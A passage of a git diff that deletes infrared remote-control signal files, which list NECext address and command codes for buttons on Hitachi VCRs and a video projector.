VCR2_TRACKING_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 00 00 00 00 -# -name: VCR2_AUTO_TRK_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 00 00 00 00 -# -name: VCR2_MANUAL_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 00 00 00 00 -# -name: TRACKING_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 00 00 00 00 -# -name: VTR2_TRACKING_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 00 00 00 00 -# -name: AUTO_TRACKING_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 01 00 00 00 -# -name: VCR2_TRACKING_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 01 00 00 00 -# -name: VCR2_AUTO_TRK_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 01 00 00 00 -# -name: VCR2_MANUAL_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 01 00 00 00 -# -name: TRACKING_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 01 00 00 00 -# -name: VTR2_TRACKING_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 01 00 00 00 -# -name: SLOW_SPEED_+ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 02 00 00 00 -# -name: VCR2_SLOW_+ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 02 00 00 00 -# -name: VCR2_SLOW_SPEED_+ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 02 00 00 00 -# -name: VCR2_SLOW_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 02 00 00 00 -# -name: VTR2_SLOW_SPEED_+ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 02 00 00 00 -# -name: VCR2_SLOW -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 02 00 00 00 -# -name: SLOW_SPEED_- -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 03 00 00 00 -# -name: VCR2_SLOW_- -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 03 00 00 00 -# -name: VCR2_SLOW_SPEED_- -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 03 00 00 00 -# -name: VCR2_SLOW_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 03 00 00 00 -# -name: VTR2_SLOW_SPEED_- -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 03 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 04 00 00 00 -# -name: VCR2_8 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 04 00 00 00 -# -name: VCR2_8_(AM) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 04 00 00 00 -# -name: CAM_8 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 04 00 00 00 -# -name: VTR2_8_(T_U_V) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 04 00 00 00 -# -name: VCR2_8_AM -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 04 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 05 00 00 00 -# -name: VCR2_9 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 05 00 00 00 -# -name: VCR2_9_(PM) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 05 00 00 00 -# -name: CAM_9 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 05 00 00 00 -# -name: VTR2_9_(W_X_Y) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 05 00 00 00 -# -name: VCR2_9_PM -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 05 00 00 00 -# -name: VCR2_100/ENT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 06 00 00 00 -# -name: CAM_100/ENT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 06 00 00 00 -# -name: FFWD/VISUAL_SRCH_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: VCR2_FFWD>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: VCR2_FFWD_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: VCR2_FF/V.SRCH_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: VCR2_F.FWD/VI.SRCH -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: CAM_F.FWD_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: VCR2_F.FWD/SRCH_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: VCR2_F.FWD_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: F.FWD_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: VTR2_FF/VI.SRCH_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 09 00 00 00 -# -name: REW/VISUAL_SRCH_<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: VCR2_REW<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: VCR2_REW_<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: VCR2_REW/V.SRCH_<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: VCR2_REW/VISUAL_SRCH -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: CAM_REW_<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: VCR2_REW/SRCH_<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: VTR2_REW/VI.SRCH_<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0A 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0B 00 00 00 -# -name: VCR2_STOP[] -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0B 00 00 00 -# -name: VCR2_STOP_[] -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0B 00 00 00 -# -name: CAM_STOP_[] -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0B 00 00 00 -# -name: VTR2_STOP_[] -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0C 00 00 00 -# -name: VCR2_0 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0C 00 00 00 -# -name: CAM_0 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0C 00 00 00 -# -name: VTR2_0_(?_!) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0D 00 00 00 -# -name: VCR2_1 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0D 00 00 00 -# -name: CAM_1 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0D 00 00 00 -# -name: VTR2_1_(Q_Z) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0E 00 00 00 -# -name: VCR2_2 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0E 00 00 00 -# -name: CAM_2 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0E 00 00 00 -# -name: VTR2_2_(A_B_C) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0F 00 00 00 -# -name: VCR2_3 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0F 00 00 00 -# -name: CAM_3 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0F 00 00 00 -# -name: VTR2_3_(D_E_F) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 0F 00 00 00 -# -name: F.ADV_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 10 00 00 00 -# -name: VCR2_F.ADV -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 10 00 00 00 -# -name: VCR2_F.ADV_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 10 00 00 00 -# -name: VCR2_SKIP/F.ADV_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 10 00 00 00 -# -name: F.ADV -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 10 00 00 00 -# -name: VTR2_F.ADV_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 10 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 11 00 00 00 -# -name: VCR2_SLOW_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 11 00 00 00 -# -name: VCR2_SLOW -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 11 00 00 00 -# -name: VTR2_SLOW -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 11 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 14 00 00 00 -# -name: VCR2_PLAY> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 14 00 00 00 -# -name: VCR2_PLAY_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 14 00 00 00 -# -name: CAM_PLAY_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 14 00 00 00 -# -name: VTR2_PLAY_> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 14 00 00 00 -# -name: VCR2_AUDIO_MONITOR -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 15 00 00 00 -# -name: VTR2_UNKNOWN_2 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 15 00 00 00 -# -name: VCR2_CH1/2 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 15 00 00 00 -# -name: VCR2_MONITOR -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 15 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 16 00 00 00 -# -name: VCR2_VCR/TV -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 16 00 00 00 -# -name: CAM_VCR/TV -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 16 00 00 00 -# -name: VTR2_UNKNOWN_1 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 16 00 00 00 -# -name: VCR2_TV/VCR -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 16 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 17 00 00 00 -# -name: VCR2_OPERATE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 17 00 00 00 -# -name: VCR2_POWER -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 17 00 00 00 -# -name: CAM_POWER -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 17 00 00 00 -# -name: VTR2_OPERATE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 17 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 18 00 00 00 -# -name: VCR2_CHANNEL_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 18 00 00 00 -# -name: VCR2_CH_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 18 00 00 00 -# -name: CAM_CH_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 18 00 00 00 -# -name: VTR2_TV_PROGRAMME_V -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 18 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 19 00 00 00 -# -name: VCR2_CHANNEL_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 19 00 00 00 -# -name: VCR2_CH_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 19 00 00 00 -# -name: CAM_CH_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 19 00 00 00 -# -name: VTR2_TV_PROGRAMME_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 19 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1A 00 00 00 -# -name: VCR2_PAUSE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1A 00 00 00 -# -name: VCR2_PAUSE_ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1A 00 00 00 -# -name: VCR2_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1A 00 00 00 -# -name: CAM_PAUSE_ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1A 00 00 00 -# -name: VTR2_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1C 00 00 00 -# -name: VCR2_4 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1C 00 00 00 -# -name: CAM_4 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1C 00 00 00 -# -name: VTR2_4_(G_H_I) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1C 00 00 00 -# -name: VCR2_4_(DAILY) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1D 00 00 00 -# -name: VCR2_5 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1D 00 00 00 -# -name: VCR2_5_(DAILY) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1D 00 00 00 -# -name: CAM_5 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1D 00 00 00 -# -name: VTR2_5_(J_K_L) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1D 00 00 00 -# -name: VCR2_5_DAILY -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1D 00 00 00 -# -name: 6_PL -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: VCR2_6_(CL) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: VCR2_6 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: VCR2_6_PL -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: VCR2_6_(WEEKLY) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: CAM_6 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: VCR2_6_(PL) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: VTR2_6_(M_N_O) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: VCR2_6_WEEKLY -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1F 00 00 00 -# -name: VCR2_7 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1F 00 00 00 -# -name: CAM_7 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1F 00 00 00 -# -name: VTR2_7_(P_R_S) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1F 00 00 00 -# -name: VCR2_7_(WEEKLY) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1F 00 00 00 -# -name: VCR2_A.DUB -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 2C 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 30 00 00 00 -# -name: VCR2_T.SPEED -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 30 00 00 00 -# -name: VCR2_TAPE_SPEED -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 30 00 00 00 -# -name: VCR2_SP/EP -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 30 00 00 00 -# -name: VTR2_TAPE_SPEED -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 30 00 00 00 -# -name: AVX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 34 00 00 00 -# -name: VCR2_AUX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 34 00 00 00 -# -name: VCR2_AVX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 34 00 00 00 -# -name: VCR2_INPUT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 34 00 00 00 -# -name: CAM_AVX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 34 00 00 00 -# -name: VTR2_TRANS_AUX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 34 00 00 00 -# -name: VCR2_MTS_MONO -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 38 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 39 00 00 00 -# -name: VCR2_EJECT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 39 00 00 00 -# -name: VTR2_EJECT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 39 00 00 00 -# -name: VCR2_V.DUB -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3A 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3B 00 00 00 -# -name: VCR2_GUIDE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3B 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3B 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3E 00 00 00 -# -name: VCR2_AUTO -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3E 00 00 00 -# -name: VCR2_TRACKING_AUTO -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3E 00 00 00 -# -name: VTR2_AUTO -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3E 00 00 00 -# -name: VCR2_AUTO_TRACKING -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 3E 00 00 00 -# -name: VCR2_MENU -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 40 00 00 00 -# -name: VCR2_GUIDE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 40 00 00 00 -# -name: CAM_GUIDE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 40 00 00 00 -# -name: VTR2_MENU_OSD -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 40 00 00 00 -# -name: CLEAR/COUNT_RESET -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: VCR2_0000 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: VCR2_CLEAR -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: VCR2_CLEAR_CNT_RESET -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: VCR2_RESET -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: CAM_CLEAR -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: VTR2_COUNTER_0000 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: VCR2_T-160_RESET -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 41 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 42 00 00 00 -# -name: VCR2_DISPLAY -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 42 00 00 00 -# -name: CAM_DISPLAY -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 42 00 00 00 -# -name: VTR2_DISP_OSD -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 42 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 44 00 00 00 -# -name: VCR2_MEMORY -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 44 00 00 00 -# -name: VCR2_TAPE_RETURN -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 44 00 00 00 -# -name: VTR2_COUNTER_MEMO -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 44 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 45 00 00 00 -# -name: VCR2_INDEX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 45 00 00 00 -# -name: VCR2_GO-TO_INDEX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 45 00 00 00 -# -name: GO-TO_INDEX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 45 00 00 00 -# -name: VTR2_INDEX -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 45 00 00 00 -# -name: VCR2_INDEX_GO-TO -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 45 00 00 00 -# -name: COUNTER_REMAIN -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 46 00 00 00 -# -name: VCR2_COUNT_CLOCK -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 46 00 00 00 -# -name: VCR2_COUNTER_REMAIN -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 46 00 00 00 -# -name: VCR2_REMAIN_MODE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 46 00 00 00 -# -name: VTR2_COUNT_REMAIN -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 46 00 00 00 -# -name: VCR2_MODE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 46 00 00 00 -# -name: VCR2_REPEAT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 47 00 00 00 -# -name: VCR2_TV_MONITOR -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 63 00 00 00 -# -name: VCR2_EDIT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 64 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 64 00 00 00 -# -name: VCR2_SET -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 65 00 00 00 -# -name: VCR2_JOG/SHUTTLE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 68 00 00 00 -# -name: VCR2_SHUTTLE_FWD -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 75 00 00 00 -# -name: VCR2_SHUT_FWD_(F.S.) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 75 00 00 00 -# -name: VCR2_SHUT_FFWD_>> -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 75 00 00 00 -# -name: CAM_SHUT_FWD -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 75 00 00 00 -# -name: VCR2_SHU.FWD(F.S) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 75 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 75 00 00 00 -# -name: VCR2_SHUTTLE_REW -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 76 00 00 00 -# -name: VCR2_SHUT_REV_(F.S.) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 76 00 00 00 -# -name: VCR2_SHUT_REV_<< -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 76 00 00 00 -# -name: CAM_SHUT_REV -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 76 00 00 00 -# -name: VCR2_SHU.REV(F.S) -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 76 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 76 00 00 00 -# -name: VCR2_JOG_FWD -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 7D 00 00 00 -# -name: VCR2_JOG/SHU.FORWARD -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 7D 00 00 00 -# -name: VCR2_JOG_REW -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 7E 00 00 00 -# -name: VCR2_JOG_REV -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 7E 00 00 00 -# -name: VCR2_JOG/SHU.REVERSE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 7E 00 00 00 -# -name: VCR2_GO-TO -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 86 00 00 00 -# -name: VCR2_TITLE -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 8A 00 00 00 -# -name: 100/ENT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 8B 00 00 00 -# -name: VCR2_100/ENT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 8B 00 00 00 -# -name: VCR2_+100 -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 8B 00 00 00 -# -name: VCR2_+100/ENT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 8B 00 00 00 -# -name: VCR2_MTS_SA_SET -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 8C 00 00 00 -# -name: VCR2_PRINT -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 8E 00 00 00 -# -name: VCR2_SPECTRA_SONIC -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 8F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir deleted file mode 100644 index fb8bf5a86..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 00 00 00 00 -# -name: VCR_PROGRAM -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 00 00 00 00 -# -name: VCR1_S.Q.P. -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 00 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: VTR_RECORD -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: VCR1_RECORD -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: VCR1_REC -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: VCR1_REC-PLAY -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: VTR1_RECORD -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir deleted file mode 100644 index a83a2fda6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CAM_PROGRAM -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 00 00 00 00 -# -name: VCR2_S.Q.P. -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 00 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 14 00 00 00 -# -name: VCR2_RECORD -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 14 00 00 00 -# -name: VCR2_REC -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 14 00 00 00 -# -name: CAM_REC -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 14 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 14 00 00 00 -# -name: VCR2_REC-PLAY -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 14 00 00 00 -# -name: VTR2_REC -type: parsed -protocol: NECext -address: 61 9F 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir deleted file mode 100644 index 62741cda3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir +++ /dev/null @@ -1,584 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RGB1 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 10 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 10 00 00 00 -# -name: RGB2 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 11 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 12 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 87 